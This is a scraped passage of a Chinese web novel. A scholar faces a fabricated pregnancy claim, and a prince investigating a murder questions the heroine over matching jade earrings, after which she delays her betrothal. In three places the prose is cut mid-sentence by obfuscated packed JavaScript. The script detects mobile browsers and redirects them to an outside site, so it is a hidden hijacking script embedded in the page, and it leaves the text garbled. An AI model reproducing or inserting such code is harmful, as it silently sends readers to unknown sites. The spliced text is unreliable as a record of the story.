疑心疑虑?许夙阳静默地望着她,眉头越皱越紧。他伸手欲握她的手腕,却被她侧身避开。霎时间,一股无名火涌上心头。 他冷笑一声,猛地攥住她的手臂,却被她使劲推开。 许夙阳僵立片刻,沉声道:“若当真无事瞒我,为何处处避我?连手都不让我碰?” 他声音低哑,带着压抑的怒意:“订婚礼数若有疏漏,是我考虑不周。可你我既已互许终身,本该坦诚相待。你却处处敏感,我稍一靠近,你便退避。自表白心意至今,你待我与从前有何分别?” “分别?”沈识因抬眸看他,忽而轻笑,眼底却无半分笑意,“许夙阳,你想要什么分别?你我尚未成婚。礼教大防,男女有别,你岂会不知?即便来日嫁你,我也非你私物。过往种种,皆是我自己的事,与你何干?” 她退后两步,衣袖翻飞间带起一阵冷香。许夙阳原想再拦,见她这般情状终是不忍,眸中痛色难掩:“识因,是我唐突了。可我心中委屈,想让你待我多几分温存,想如寻常眷侣般执手相偎。可直到现在,我却连你的心都走不进去。” 廊下风过,吹散了几分剑拔弩张。沈识因深吸一口气,渐渐平复心绪:“有些事,莫要再问,该说的,我自会告知。至于婚约,且让两家尊长再议。若你能说动我父母,我便应下。若不能,那便再做打算。” 再做打算? 许夙阳眸色骤暗:“那你告诉我,究竟爱不爱我?终身大事,难道不该你我共同争取?你为何不在父母面前为我说句话?为何不曾显露出半分要嫁我的急切?沈识因,你心里究竟有没有我?” 有没有他? 沈识因闻言眼底翻涌出不可置信和复杂。到这般境地,他竟还在问这样的话? 许夙阳见她久不回应,眼底渐染赤色。往昔争执时多是他退让,那时尚未表明心迹,他以兄长身份处处容让。可自互通心意后,他便再不愿这般委屈。 既为眷侣,便该两心相照。他可以倾尽所有去爱,却也盼着同等的情意。 但是这怨怼岂是一朝之积?他的猜疑,她的回避,谈不拢的婚事,推迟的婚期,桩桩件件皆成心结。 若当真情比金坚,她又岂会在母亲提及拒婚时轻易应下?若许家诚心诚意,又怎会轻慢这门亲事?更不必说那些本就不该追问的往事,如今倒成了横亘在二人之间的天堑。 秋夜风起,廊外枯叶簌簌。檐下风灯摇曳,将两道身影拉得忽长忽短。 二人僵持许久,心头俱是烦闷。 分明是两情相悦的良缘,偏生闹得这般难堪。 沉默良久,许夙阳终是败下阵来。望着眼前人微微泛红的眼尾,他向前挪了半步,却终究没敢触碰她。低叹一声,嗓音里带着几分妥协:“识因,是我不好,不该追问那些旧事,你别恼了。” 沈识因依旧挺直脊背站着,眼神却已不似方才那般冷硬。 这道歉来得轻易,许夙阳等了又等,却始终没等到一句原谅。 他正欲再开口,忽见贴身小厮匆匆跑来:“公子快些回府罢,老爷遣了管家来寻,说是有要事相商。” 许夙阳听得催促,见沈识因神色稍缓,便俯身凑近些,温声道:“别生气了,都是我的不是。你且等我,待处理完府中事务,我再来寻你。” 沈识因原本在他低头认错时气已消了大半,此刻见他这般温言软语,心头郁气渐渐消散。她略略平复心绪,轻声道:“好,但天色已晚,今夜就不必再来了。明日若得空,我们好好谈谈。” 她终究不愿将事情闹得太僵。既已应下婚约,总要解开这些心结。 许夙阳见她态度软化,悬着的心这才放下,颔首道:“好,那我明日再来。” 得了她应下,他这才一步三回头地离去。 许夙阳匆匆赶回太保府,方踏入父亲书房门槛,母亲便将门扇严严实实阖上。 父亲负手立于案前,眉间沟壑深锁,见他进来不由分说地几步上前,扬手便是一记耳光。 “啪”的一声脆响在静室格外刺耳。许夙阳踉跄着退后一步,左颊顿时火烧般灼痛。 他错愕地望向盛怒的父亲,还未及开口,一纸信笺已重重拍在他的胸前。 “逆子,你这是要活活气死为父。”父亲手指发颤,指着那封信笺怒喝,“你且自己看看,在外头做下什么荒唐事。” 许夙阳慌忙展开信纸,待看清内容后浑身血液都似凝固。上头朱墨淋漓写着他与一个陌生女子的名讳,末尾赫然印着他的私章与指印。 许夙阳指尖发颤地捏着那纸婚书,匆匆扫过上头“永结同心”的字样,猛地抬头:“父亲,这究竟是何物?何人送来的?这女子又是谁?” 许父气得浑身发抖,竟说不出话来。许母红着眼眶上前:“阳儿,你老实告诉娘,可是在外头招惹了别的姑娘?或是遭人设局?今儿个有位姑娘持着这婚书找上门来,说你数月前与她有了肌肤之亲,还立誓要娶她过门。可左等右等不见你来迎娶,于是就找上门来了。她还说,腹中已有了你的骨肉。” “荒唐。”许夙阳猛地将婚书拍在案上,“儿子从未与什么女子有染,更遑论留下子嗣,这分明是有人栽赃。” 许母忧心道:“可那姑娘说得有鼻子有眼,连当日同席的几位公子都作了证。说你在醉仙楼吃酒时与她独处一室,后来店家还听见里头传来哭声。末了你还特意要了笔墨写下这婚书,当时在场众人都瞧见了。” 许夙阳眉心紧蹙,眼中尽是难以置信:“这怎么可能?儿子全然不记得此事。” 许母道:“你且仔细想想,五个月前在醉仙楼,可曾见过一位卖花的姑娘?名叫林苑?” 卖花的姑娘? 经母亲这一提,许夙阳忽然想起一事,道:“三月初春,正值殿试前,我与几位赴考的举子在酒楼小聚。席间似有个挽着花篮的姑娘过来卖花。儿子不过随手买了支花……” 那日他原没打算买花,偏那枝海棠开得正好,幽香沁人。他拈在手中把玩片刻,后来便记不清了。只隐约记得席间推杯换盏,再醒来已是次日清晨,躺在自家榻上头疼欲裂。 “后来呢?”许父厉声追问,“那卖花女怎会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许夙阳声音里带着前所未有的慌乱:“儿子心中唯有识因一人,求父亲母亲为儿子做主,孩儿真的不知,就算孩儿与那女子发生关系,也是被人陷害。” 许母长叹一声:“如今这般情形,婚事还如何操办?纵是要定亲,也得先堵住那林苑的嘴。为今之计,唯有赶在那女子临盆前,先将你与识因的婚事办了。待木已成舟,再慢慢与识因说明原委,纵使她心里不痛快,也无济于事。” 许夙阳急声道:“母亲说得是,今日识因还提及,盼父亲母亲亲自登门议亲。沈伯母先前拒婚,不过是嫌我们礼数不周。若二老能备足诚意前往,这门亲事一定能成。只要沈家应下,我们即刻择定吉日,越快越好。” 许父眉头深锁,连声叹气:“你的婚事关乎太保府门楣,岂容儿戏?沈家这门亲事,我原本另有打算,如今这么一闹,也只能如此了。沈家位高权重,你娶识因要比其他姑娘合适得多。明日我便与你母亲备厚礼登门,且看情形再说。但是你必须给我记着,酒楼那桩丑事千万不可泄露半分。” 许夙阳当即撩袍跪地道:“儿子谨记父亲教诲。” —— 翌日天光正好,沈识因正与姐姐准备出门裁新衣。刚踏出府门,便见一辆挂着周府牌子的青帷马车缓缓驶来。姐姐轻“咦”了一声,激动道:“是周府的人?” 沈识因正自疑惑,忽见马车帘帷一挑,先后下来两位锦衣公子。待看清来人,姐妹俩俱是一怔。 走在前头的正是沈书媛的未婚夫婿周烨,而后头那位,竟是昨日酒楼里拦住沈识因的白衣公子。 今日他穿了身绛色锦袍,玉带缠腰,通身透着清贵之气。日光下那张面容愈发俊逸,一双好看的眼睛,在刚下马车后便直直向沈识因望了过来。 沈识因不由暗叹,往日觉得周烨已是人中龙凤,没想到在这位公子跟前竟然黯然失色了。 “周烨。”姐姐欢喜地跑上前,“什么时候回来的?不是说还要两三日才能回京吗?” 周烨笑着迎上她:“昨夜刚到,今晨便来寻你了。” 他说着侧身引荐:“这位是亲王府世子,陆呈辞。” 陆呈辞? 沈识因闻言心头一跳。 他过来做什么? 5. 第 5 章 沈识因瞧见陆呈辞的身影,心头不由一紧。那日饭馆里他拦住自己说的那番话犹在耳畔,如今见他登门,难免疑心他是为查案而来。 这两年间,陆呈辞在京中声名鹊起,达官显贵家的公子小姐们多半识得他。只是没想到,他竟与周烨交情这般深厚。思忖间,姐姐已携着她上前,向陆呈辞见礼。 “两位姑娘不必多礼。”陆呈辞声音清润,举手投足间尽是世家公子的气度。 沈书媛将二位迎进府中。周烨此番登门备了厚礼,言谈举止温文尔雅,极是周到。沈夫人闻讯赶来,见亲王府世子亲临,更是惊诧不已,连忙吩咐下人备上好的茶点,将贵客迎至前厅款待。 沈夫人略坐片刻,便起身去张罗家宴,留年轻人在厅中叙话。 陆呈辞原是要寻沈家二公子,却得知他外出未归,只得与众人一道在厅中闲谈。起初四人围坐,说的多是周烨在外经办的琐事,唯有沈书媛与他一来一往地搭话,其余二人皆静默不语。 沈书媛与周烨久别重逢,自是相谈甚欢,可沈识因觉得厅内气氛莫名凝滞。陆呈辞的目光时不时落在她身上,那视线不轻不重,却叫她如芒在背。 想起昨日饭馆里,他拦住自己时那副审视的模样,虽未疾言厉色,却莫名教人心慌。她分明问心无愧,可每每与他四目相对,又隐隐觉出一丝说不清道不明的熟悉感,搅得她心绪难平。 不多时,沈家二公子沈意林匆匆赶回,一进门便与陆呈辞低声交谈几句,二人随即去了书房,似有要事相商。 母亲去张罗午膳,沈书媛也拉着周烨上街采买,独留沈识因一人在后园浇花。 水珠淅淅沥沥洒在花瓣上,她却神思恍惚,眼前总浮现陆呈辞那双深不见底的眼眸。昨日他在饭馆里说的那番话,一字一句犹在耳畔,扰得她心神不宁。 院中那丛秋海棠开得正盛,自夏末至深秋,灼灼如霞。沈识因极爱这片花海,日日精心侍弄。 此刻她立于花间,看那嫣红花瓣在秋风里轻颤,别有一番清艳风骨。她俯身轻嗅那幽微芬芳,指尖拨弄着花叶,水珠滚落,沾湿了罗袖。 她执壶往前走,忽觉眼前一暗,冷不防撞上一人。她慌忙退后两步,却见一片绛色衣袂拂过眼前。心头骤然一紧,抬眸便对上陆呈辞的目光。 日光透过花枝,在他眉宇间投下细碎光影,衬得那双眼愈发深邃如潭。 “世子。”她匆匆福了一礼,指尖不自觉攥紧了水壶。秋海棠的幽香萦绕在两人之间,愈发显得这方寸之地静谧非常。 陆呈辞低眉看她,绛色衣袍被花影染得愈发浓艳。他忽然轻声道:“沈姑娘,有件事要同你说。” 秋风掠过,几片花瓣打着旋儿落在她裙裾上,映着天光,恍若溅开的胭脂。 沈识因眸光微动,心中暗忖:莫非他要提那桩命案?可此事与她何干?眼底不自觉浮起一丝戒备,却被陆呈辞尽收眼底。 他的视线自她面上掠过,最终凝在她耳垂那对精巧的白玉耳坠上。眉头几不可察地一蹙,随即从袖中取出一对一模一样的耳坠,递到她眼前:“沈姑娘这对耳坠,不知从何处得来?我这里也有一对。” 沈识因怔住,望着那莹润生光的玉坠,脱口道:“世子怎会有与我相同的耳坠?” 陆呈辞眸色微沉:“这对耳坠是从死者身上寻得的。特意去问了珍宝斋的掌柜,证实是探花郎许夙阳半月前所购,统共要了两对。” 他抬眸直视沈识因,嗓音愈发清冷:“今日过来,见姑娘突然戴了一模一样的耳坠,实在疑惑。不知姑娘这耳坠从何得来?” 秋风掠过,沈识因耳畔的玉坠轻轻晃动。她下意识抚上耳垂,没有作答。 陆呈辞将她的神色变化尽收眼底,声音又低了几分:“姑娘与许公子交情虽好,但此案重大,还请如实相告。” 沈识因沉默片刻,道:“陆大人若要查案,自该去寻他问个明白,这般三番两次来质问我,却是何道理?” 她原以为此事与自己毫不相干,更不信许夙阳会与命案有牵连,不想这对耳坠竟成了将她牵扯其中的证物。 陆呈辞见她有所不耐,语气稍缓了些道:“我并非有意为难姑娘。今日原是来寻沈二公子议事,恰巧见你戴着这对耳坠。若在平日,不过是寻常赠礼。可如今既牵涉命案,少不得要多问几句。” “只望姑娘日后收礼时多留个心眼。如今既已牵扯其中,不妨问问许公子,这对耳坠可曾赠予过谁,昨日又为何独独送了你。” 沈识因心绪烦乱,低头去解耳坠。既已牵扯命案,她自是不愿再戴。她取下左边那只,待要取右边时,玉坠忽从指间滑落,“叮”的一声滚落在地。 她慌忙俯身去拾,不料陆呈辞也同时蹲下。两人的手在青石板上猝然相触,指尖相碰处似有电流窜过。她下意识抬头,正撞进他近在咫尺的眼眸里。 秋海棠暗香浮动,日光透过花枝在他眉间洒下细碎金芒。这一瞬,她忽觉天旋地转,无数陌生画面如潮水般涌来——粉白衣衫半褪的香肩,交缠的十指,耳畔灼热的呼吸,还有那些令人窒息的深吻。这些从未经历的画面,此刻却鲜活得好似昨日才发生。 她慌忙缩回手,脸颊瞬间烧得通红。 这莫名的悸动来得猝不及防。 她从未对任何男子有过这般反应,便是与许夙阳相处时也不曾。 她怔怔望着他,整个人僵在原地。 他也抬眸看她,那双总是清冷的眼里翻涌着复杂情绪,似怨似嗔,又似藏着万千未言之语。 她看见他白玉般的耳廓渐渐染上绯色,修长的颈项都透出薄红,连呼吸都乱了方寸。 一阵风过,身后秋海棠簌簌作响,落红纷飞。那嫣红花瓣打着旋儿落在两人交叠的衣袂上,恍若点点朱砂,将这一刻的暧昧情愫勾勒得愈发鲜明。 沈识因的目光不自觉地顺着他的轮廓游移。那微微滚动的喉结,宽阔的肩线,乃至衣襟下若隐若现的锁骨,都似带着某种蛊惑。 待她察觉自己竟在胡思乱想,慌忙别开眼时,却见他已拾起那枚玉坠。 接着,他忽然握住她的手,将耳坠放入她掌心。指尖相触的刹那,她竟未如往常般躲闪,反倒觉出他掌心微凉的触感格外熨帖。 “这耳坠你且收好。”他声音低沉,眼底情绪翻涌,“待我查清案情再来寻你。若你想起什么线索,也要及时告知。此案牵连甚广,若真与你有干系,只怕整个沈府都要受牵连。” 她鬼使神差地点头。往日旁人稍近身她便不适,偏生对这人的触碰全无抵触。更奇怪的是那些莫名浮现的亲密画面,让她觉得仿佛他们早已相识,甚至......有过肌肤之亲。 这念头一起,她的耳根顿时烧得更厉害了。 她攥着两枚耳坠站起身来,陆呈辞也随之起身,然后向前迈了一步。她本该后退的,脚下却像生了根,眼睁睁看着他靠近。 那些荒唐的画面又浮现在眼前,唇齿间仿佛还残留着虚幻的温热。她轻喘了口气,朱唇微启,终是垂下眼睫往侧边避让。 不料他也同方向挪了一步。她猝不及防撞进他怀里,脸颊正贴上他胸前织金的云纹。她惊了一下,能听到他胸膛里的心跳声。 “小姐!”管家急促的呼唤骤然打破这旖旎气氛,“太保府上来人了,太保大人携夫人和许公子正在前厅,说是来商议婚期。夫人请您即刻过去。” 沈识因闻言一怔,匆匆应了声便提着裙角疾步离去。待她赶到前院,只见太保府众人正抬着朱漆描金的礼箱鱼贯而入。 太保夫人远远瞧见她,立时堆满笑容迎上来,亲热地唤着“识因”,连素来威严的太保大人也难得露出和蔼神色。许夙阳更是快步上前迎上她,温声细语地同她说话。 这般殷勤态度,倒教沈识因一时恍惚。沈夫人忙将众人迎入正堂,茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221031|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏刚奉上,太保大人便开门见山提起婚期之事。偏生近日朝务繁忙,沈老太爷、老爷并二公子皆不在府中,只余沈夫人一人应对。 沈识因垂眸坐在母亲身侧,指尖无意识地摩挲着袖中那对玉坠,心里乱糟糟的。 沈夫人温婉一笑:“实在不巧,今日老爷和孩子们都在外头忙着,只得由我来招待诸位,还望见谅。” 太保大人笑道:“夫人客气了。今日冒昧前来,是为商议两个孩子的婚事。” 他说着,从袖中取出一本烫金册子:“这是老夫亲自拟的聘礼单子,皆是京城最上等的物件。夫人过目,若有不合意的,我们即刻重拟。” 沈夫人接过册子细细翻看,轻笑道:“大人备的礼数自是极周全的。只是这样大的事,总得等老爷回府商议过才好定夺。” 太保大人闻言朗声一笑:“原是不巧,无妨无妨。说来惭愧,此事原是我们府上耽搁了。阳儿这孩子日日念叨着要早些迎识因过门,我们做长辈的,见两个孩子情投意合,自然也该成全。” 沈夫人面上仍挂着得体的笑意:“大人说的是。只是婚嫁大事,需得等老爷回来商议。” 她话音未落,太保夫人已上前亲热地握住她的手,温声道:“沈夫人说得极是。不如这样,我们今日就在府上多候些时辰,正好我也与夫人说说体己话。” 沈夫人见推辞不过,又想着两个孩子确实有感情在,便笑道:“那今日就留在府上用午饭,我现在就让人去张罗,也让人去看看老爷可有忙完。” 许夫人忙道:“今日就叨扰沈夫人了。” 太保府这般阵仗登门议亲,态度又如此热络,实在与昨日那媒婆的作派大不相同。 沈识因想起陆呈辞那番话,又瞥见许夙阳温润如玉的笑颜,心头愈发纷乱。父亲未归,此事牵涉命案,这婚事,她必须找父亲好好商议了。 厅内大人们尚在寒暄,许夙阳已走到沈识因跟前,温声道:“识因,我们去园中走走可好?” 他眉眼含笑,与昨日争执时的模样判若两人。 沈识因想起昨日说好的要谈谈,便点头应下。 二人步出厅堂。虽昨日才闹过不快,此刻他却似全然忘却,言谈间又恢复了往日那般温润如玉的模样。 “昨日回去后,我便将事情原委告知父母。他们深觉礼数不周,今日特意推了所有事务前来。” “昨夜我辗转难眠,想起与你相识至今的点点滴滴。”许夙阳目光温柔,“是上天待我太好,让我得遇你这般蕙质兰心的姑娘。” 他转身郑重地望入她的眼眸:“识因,我是真心爱你,我想让你尽快成为我的妻子。你放心,从今往后,我定会加倍疼你爱你。” 沈识因听着这番情话,抬眸看他满眼浓情,心中却五味杂陈。若是从前,她早已心花怒放,可此刻袖中那对玉坠沉甸甸的,压得她心头纷乱如麻。 她垂眸思忖片刻,终是轻声开口:“夙阳哥哥可听说东街命案之事?” “妹妹怎的突然提起这个?听说那案子朝廷很是重视。” “我也是刚听说,所以想问问夙阳哥哥可清楚详情。” “我也不甚了解。” 他也不了解。 沈识因正思量着如何询问耳坠之事,忽觉他脚步一顿。 她急忙抬眸望去,但见秋海棠掩映的花丛间,那张湘竹摇椅上竟躺着个人,而那人正是亲王府世子陆呈辞。 他仰卧在花影里,双臂枕在脑后,双目微阖。秋阳透过花枝,在他轮廓分明的面容上洒落细碎光斑。偶有花瓣飘落,点点嫣红缀在他绛色衣袍上,远远望去,恍若一幅工笔丹青。 他居然还未离去。 沈识因心头猛地一跳,正惶惑间,摇椅上的人似有所觉,缓缓睁开眼眸。那双深邃的眸子先是落在她身上,继而转向许夙阳。 园中霎时静得能听见花瓣坠地的声响。 6. 第 6 章 沈识因素来防备心极重,恰如许夙阳所言,她对旁人近身尤为敏感。这般性情的转变,实是两年前陡然生出的。在那之前,她本是个活泼开朗、明媚如春日暖阳般的姑娘,后来的变化,着实令众人惊讶不已。 她心中究竟藏着怎样的秘密,无人知晓,也无人能叩开她的心门一探究竟。即便是与她有着十数年青梅竹马之谊的许夙阳,也始终无法真正走进她的内心。 因此,她对周遭的人与事始终高度警觉。今日,陆呈辞手持一对一模一样的耳坠,蓦然出现在她面前,令她心绪纷乱、复杂难言,也预感到会有什么大事发生。 她素来不喜事多,只愿安安静静地生活,不想与任何人、任何事有过多纠葛。可眼下三人莫名其妙聚在一起,她心中涌起一股难以名状的尴尬,却又说不清究竟因何而起。 尤其每当看见陆呈辞那双眼睛,她心底便没来由地一阵慌乱。 二人就这般在那片秋海棠前伫立了片刻。 许夙阳认出陆呈辞后,规规矩矩地行了一礼,疑惑地问道:“真是好巧,不知世子为何会在此处?” 躺在摇椅上的人缓缓起身,清声回道:“我来寻沈意林。” “原来是找意林的。”许夙阳轻笑一声,“在此遇见陆世子,实属荣幸。满园秋色正浓,世子不妨与我们一道走走。” 许夙阳认得陆呈辞,对他的事迹颇为了解,也知晓他近日正在查办东街命案。陆呈辞身为皇室世子,平日里难得一见,虽此前曾见过几面,却始终未得深交。时下同为沈府宾客,他便想借此机会与他多些交谈。 陆呈辞听得许夙阳相邀,目光先是轻轻掠过沈识因,继而低声应了一句,便随他们二人缓步前行。 园中秋意渐浓,别有一番风致。秋风拂面而来,更令人神思清明。 许夙阳走在沈识因与陆呈辞之间,心中若有所思。他侧首看了看陆呈辞的神色,含笑开口道:“听闻陆世子近日正在查办一桩命案,此案连皇上都极为重视,不知眼下进展如何?可有需要在下相助之处?” 如今许家门第显赫,许夙阳父亲晋升太保,他亦中探花,与朝中诸公往来交际,也算情理之中、人情所系。 陆呈辞听罢,沉默片刻,低声道:“东街命案一事,确实极为紧要且棘手。我虽已查到一些线索,但其中关节错综复杂,多有难解之处,一时难以推进。或许,当真需许公子相助一二。” 其实他查案多时,已掌握不少线索,只是死者牵连甚广,关系错综复杂,令他一时难以锁定真凶。并且,他也查出此事确与许夙阳有所关联,出于某些考量,他尚未正式寻许夙阳问话,也未透露在死者身上找到了与许夙阳直接相关之物。 而许夙阳尚不知自己已被盯上,连忙应声道:“好,好。在下随时有空,世子届时派人传唤一声便是。” 他微微颔首。三人继续前行。 沈识因默然随行在侧,从二人言语往来间,隐约听出几分蹊跷。陆呈辞似乎已查到死者与许夙阳有所牵连,却并未对他言明。 而许夙阳浑然不知自己已被牵涉其中。 她不理解陆呈辞为何隐瞒,并且还两次拦住她问话,即便许夙阳就在眼前,他也不当面质询。有点奇怪。 若说陆呈辞有意欺瞒,可他身为世子,向来持重守礼,怎会行此不妥之事?若说案情真与许夙阳有关,又为何不请他配合详查,反而这般迂回试探?是想引出线索,还是其中另有隐情? 沈识因心绪纷乱,惴惴难安,只垂首缓步跟着。忽听许夙阳开口道:“陆世子,今日我与家父家母前来府上,正是为商议与识因妹妹的婚事。此刻他们应正与沈夫人在前厅叙话,不如我们也去稍坐?家父前几日还说起,想寻个时机拜会王爷,不料今日恰在府中得见世子。” 许夙阳声音温和,言辞恳切。从这番话中,不难听出他对陆呈辞身份的看重,甚至特意提及自己的父亲,意图借此攀近关系。 他说罢,不等陆呈辞回应,又郑重一揖,笑道:“我与识因妹妹自幼相识,情谊深厚,如今已到了商定婚期之时。若世子肯赏面做个见证,实乃在下的荣幸。此番定亲之喜,也愿世子同沾几分喜气。” 他竟然邀请陆呈辞见证他们的婚事? 沈识因有些震惊,她不明白许夙阳为何偏要将陆呈辞扯进他们的婚事中来,还要请他作见证。 她微微蹙眉,望向陆呈辞。对方显然也对许夙阳这突如其来的邀请感到意外,目光微动,回看了她一眼,随即淡淡应了一声,并未多言。 沈识因从他眼中瞧出一抹难以捉摸的意味。自方才起,他虽神色略显沉郁,举止却依旧从容守礼。 她不解他为何会应下这般唐突之请,心中却实不愿将他牵扯进来——毕竟,他接近自己本就另有所图。 案情归案情,婚姻归婚姻,二者本就不应混为一谈。 她略一沉吟,向陆呈辞敛衽一礼,婉言道:“此事还是不劳烦世子费心了。婚期大事,自应由家中长辈商议定夺。世子此来原是为寻我二哥,想必另有要事待办,我们实在不敢再多耽误您。” 她话中拒绝之意,已是分明。 许夙阳闻言微微一怔,急忙看向陆呈辞,而陆呈辞并未作声。 沈识因突然如此干脆地回绝,气氛一时凝滞。许夙阳强笑一声,开口道:“瞧我这记性,陆世子原是来找二哥的,实在不该耽误世子正事。既然如此,我们便不多扰了,改日必当专程登门致意。” 他说着,向陆呈辞深深一揖。 陆呈辞对他态度的转变并不以为意,只淡淡应了一声。然而沈识因却不经意迎上他的目光,只那一眼,竟让她脊背生寒。陆呈辞本就自带一种难以接近的矜贵与疏离,这一瞥更教人心头蓦然一凛。 她垂下眼帘,继续向前走去。许夙阳向陆呈辞恭敬行礼后,也匆匆跟上她的脚步。 陆呈辞仍立于原地,目光追随着他们渐行渐远的身影,直至消失不见,方才缓缓转身,回到原处,悠然躺回摇椅之上。 此时,沈识因已无心再于后花园中漫步,便与许夙阳一同返回前院。到了前院,才知父亲已经归来,之前外出办事的二哥也已返家。一家子人此刻皆聚于前堂,正商议订婚之事。 沈识因的母亲言语间似有推延之意,然而太保大人一家言辞恳切,满心期盼能早日定下婚事。 今日太保大人亲自登门,诚意昭然,沈父初时也想稍作拖延,但见对方如此诚挚,加之许夙阳情意真切、急切难掩,终究有些动摇。 然沈识因已经有了其他想法,她轻声道:“婚事来得太过突然,我尚未做好准备。不如我们再等些时日,待我思虑周全,明年春天,再给夙阳哥哥一个明确的答复。今日二老亲临,我感激不尽,亦承蒙厚爱,还望二老能多予些时间。” 此言一出,满堂皆惊。 许夙阳眉头紧锁,目光中满是不解与急切:“识因,我们不是说好的吗?若我父母诚心前来,你便会应允。如今伯父伯母也已首肯,你为何又出此言?究竟要怎样才肯答应?” 沈识因神色平静,紧紧地看着他,回道:“婚姻大事,非儿戏也。我虽曾应允,然此刻心仍未定。此事,还是容后再议吧。” 太保大人闻言,面色顿沉,冷哼一声:“我携夫人在此等候多时,竟得如此回复?沈家如此行事,岂非视我许家如无物?你既已应允与夙阳成婚,就该做好出嫁的打算。我几次遣人商议婚期,你们却一推再推。今日我与夫人诚心上门,你竟又要推迟。识因,你这样做,究竟是何用意?是你个人不愿,还是沈家无意?抑或是对我这个太保有何不满?” 太保大人显然有些动怒,本已商定之事陡生变故,任谁也觉难堪,更何况是他这般位高权重之人。他这话,已将此事上升至两府关系的层面。 许夫人也叹息一声,上前道:“识因,我们全家待你皆是一片真心。你与夙阳自幼一同长大,我们看在眼里,也知你们感情深厚。夙阳心中唯你一人,自决定与你成婚,便日夜期盼。” “昨夜听说婚期欲推迟,他更是辗转难眠,今晨便恳求我们前来。我家老爷新任要职,公务繁忙,仍推掉诸多事务亲自拜访。你却这般回应,岂非寒了我许家人的心?” 沈识因早料到他们会有所反应,甚至动怒,却未想竟如此激烈。依她往日对许家人的了解,他们不应该这般急于成婚,其中定有隐情。 不过她也明白,与许府联姻对沈家自有好处,但他们越是急切,她心中越是不安。 方才许夙阳在陆呈辞面前主动提起东街命案,显然对此事心知肚明,甚至知晓陆呈辞正在查办。但她之前她问起时,他却推说不了解。 她觉得许夙阳言行蹊跷,必须将事情原委弄个清楚,才能决定嫁与不嫁。 思忖片刻后,她仍坚持自己的决定,温声道:“实在对不住,是我思虑不周,竟耽误了二老这么长时间。在此,我向二老赔罪,还望二老能够体谅。婚嫁之事,毕竟关乎终身,实在不能轻率决定。” “夙阳哥哥如今高中探花,前程似锦、仕途无量。京城之中,不知多少达官显贵家的千金都对他青眼有加。媒婆也曾提起,就连皇上都有意将公主许配给他。所以我觉得,不如再冷静冷静。” “若我与夙阳哥哥确有缘分,莫说推迟半年,纵是三年五载,也终能相守。正因如此,我恳请二老,不仅多给我一些时间,也给夙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221032|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳哥哥一段时日,让我们彼此都想个明白。” 她这般说,太保大人与夫人皆是一怔,彼此对视,眼中既有无奈亦有愠色,一时竟不知如何辩驳。 许夙阳望着眼前这个仿佛一夜之间性情大变的姑娘,眉头紧锁,心绪纷乱如麻,眼眶微微发红,满心不解。他怎么也想不通,她为何会突然如此决绝。 他就这样凝视着她,而她却始终低垂着头,不愿与他对视一眼。这一刻,他心头蓦地掠过不安,难道,她心中已有了别人?那人,又会是谁?思绪流转间,他猛然想起方才在后花园偶遇的陆呈辞。 陆呈辞口称是来寻沈家二公子,可为何独自悠闲地待在后花园中享受暖阳,那姿态全然不似寻常访客。 他本想请陆呈辞为他们的婚事做个见证,却被沈识因一口回绝。不仅如此,她还突然问起东街命案之事,想必对此案已有所了解。可这桩命案本是由陆呈辞经办。 如此看来,他们二人此前必定有所往来,甚至,陆呈辞已将某些隐秘透露给了她。 陆呈辞身为查案之人,本不该轻易对外人言及案情,更何况对方还是一位闺中女子。他能对她道出内情,足见二人关系非同一般。 因此,许夙阳心中不由暗忖:或许,真正让沈识因态度骤变之人,正是后花园中那位气度不凡的陆世子——陆呈辞。 若果真如此,那么他必须沉下心来,仔细思量该如何应对这一局面。 他静默片刻,随即温言说道:“识因妹妹的心思,我也能体谅几分。眼下我们都该冷静一些,此事确实还需从长计议。今日我与家父前来贵府,一来是为商议婚期,二来也是特地致歉。” “前段时日,家父公务繁忙,对婚事有所耽搁,还望二老海涵。以往我许家与沈家一直交好,沈太师对家父多有提携,沈夫人对家母也关怀备至,这番恩情,我许家上下始终铭记于心。本当早日登门致谢,奈何琐事缠身,未能得空。” “既然婚事若暂且不便再提,那我们不妨聊聊家常琐事,也好延续两府情谊。” 许夙阳这番话让气氛缓和了许多。沈识因的父母听后,虽心中仍有芥蒂,但毕竟同为官场中人,场面上的礼节自然要做周全。 沈夫人移步上前,含笑应道:“夙阳真是明理懂事,说得在理。今日我们便不提那些琐碎事,安心用膳便是。我已吩咐厨房备下酒菜,都是我们沈家的风味。不如就请诸位移步前厅,共进午餐?我也许久未同许夫人好好叙谈了。” 太保大人与夫人明白儿子是在为双方寻一个台阶。既然沈识因态度明确,他们也不便强求,以免再生间隙。 许夫人亦轻笑接话:“沈夫人安排得周到,多谢盛情。” 众人议定之后,便一同向膳厅行去。行至半途,许夙阳忽向二公子沈意林道:“二哥,方才我们在后花园偶遇陆世子,他说是特地来寻你的。既然午膳在即,何不邀他一同入席?他亦是府上贵客,总不好因我们在此而有所怠慢。” 提及陆呈辞,沈意林恍然笑道:“是了是了,我竟将这事忘了。先前因急事外出一趟,留他一人在府中等候,一忙起来便疏忽了。诸位先行,我这就去请他过来。” 